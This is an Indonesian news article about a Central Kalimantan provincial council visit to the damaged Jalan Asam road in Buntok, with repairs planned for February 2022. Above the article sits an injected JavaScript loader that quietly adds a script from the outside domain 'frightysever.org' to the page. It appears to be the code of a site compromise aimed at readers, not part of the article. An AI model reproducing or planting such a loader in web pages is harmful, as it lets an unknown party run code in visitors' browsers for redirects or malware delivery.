(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

DPRD Kalteng Cek Kerusakan Jalan Asam di Buntok, Proses Perbaikan Dimulai Februari

KANALKALIMANTAN.COM, BUNTOK – Sempat ada aksi penutupan jalan oleh warga di Jalan Asam Kota Buntok karena ruas jalan yang menghubungkan Kabupaten Barito Selatan-Palangkaraya mengalami kerusakan parah, mulai direspon wakil rakyat Provinsi Kalteng dan instansi terkait.

Penutupan jalan dilakukan khusus bagi armada angkutan dengan beban berat agar perbaikan jalan yang dilakukan bisa berjalan dengan lancar.

Menyikapi kondisi tersebut Anggota DPRD Provinsi Kalteng H Ahmad Rasyid Agani dan Iswandi bersama dengan instansi terkait turun ke lapangan meninjau lokasi jalan tersebut, sekaligus menyaring aspirasi masukan dari warga.

Proyek perbaikan jalan yang berstatus jalan nasional itu pada bulan Februari depan akan diperbaiki.

Achmad Rasyid Agani mengatakan bahwa kehadiran pihaknya saat ini karena kerusakan Jalan Asam yang ada di Kota Buntok sudah menghambat aktivitas para pengguna jalan.

“Kemarin sempat diberitakan tentang kerusakan jalan dan penutupan jalan Asam ini, sebab itu kami bersama Dinas PUPR Barsel dan Perkimtan turun agar bisa mengetahui tentang apa yang bisa dilakukan sementara ini, sehingga jalan ini bisa difungsikan oleh masyarakat umum,” katanya kepada Kanalkalimantan.com, Kamis (6/1/2022) siang.

Aksi protes yang dilakukan warga sebelumnya adalah hal yang wajar, mereka hanya menyampaikan kepada pemerintah bahwa ini yang dibutuhkan. Bahkan jika tidak ada aksi oleh warga mungkin akan lama untuk penanganannya.

“Jadi atas adanya aksi warga itu Alhamdulillah pihak Balai Jalan Nasional telah turun ke lapangan, dalam waktu dekat perbaikan maksimal Jalan Asam akan segera ditangani dan pihaknya juga akan melakukan koordinasi dengan pihak provinsi dan balai tentang teknis perbaikan badan jalan ini, sehingga kemampuan jalan bisa dengan beban 20 ton sesuai dengan tren lalu lintas saat ini, terutama jalan harus sesuai kualitas dengan kapasitasnya,” tegas Rasyid.

Sementara itu, Taufik, Kabid Bina Marga Dinas PUPR Barsel mengatakan bahwa sejak tahun 2021 pihaknya terus melakukan koordinasi dengan Balai Jalan Nasional terkait kondisi di Jalan Asam ini.

“Alhamdulilah mereka cepat tanggap dengan kondisi saat ini, walaupun hanya dengan perbaikan untuk sementara menunggu tahapan proses pelelangan paket pekerjaan ruas jalan ini selesai. Jadi mungkin saat ini ditangani darurat dengan dana rutin, kendati tidak maksimal karena perbaikannya belum pada inti pengerjaannya, namun kita telah mendapatkan desain pembangunan jalan nasional, juga diinformasikan bahwa perbaikan jalan ini pada bulan Februari,” pungkas Taufik.(kanalkalimantan.com/digdo)

Reporter : digdo
Editor : bie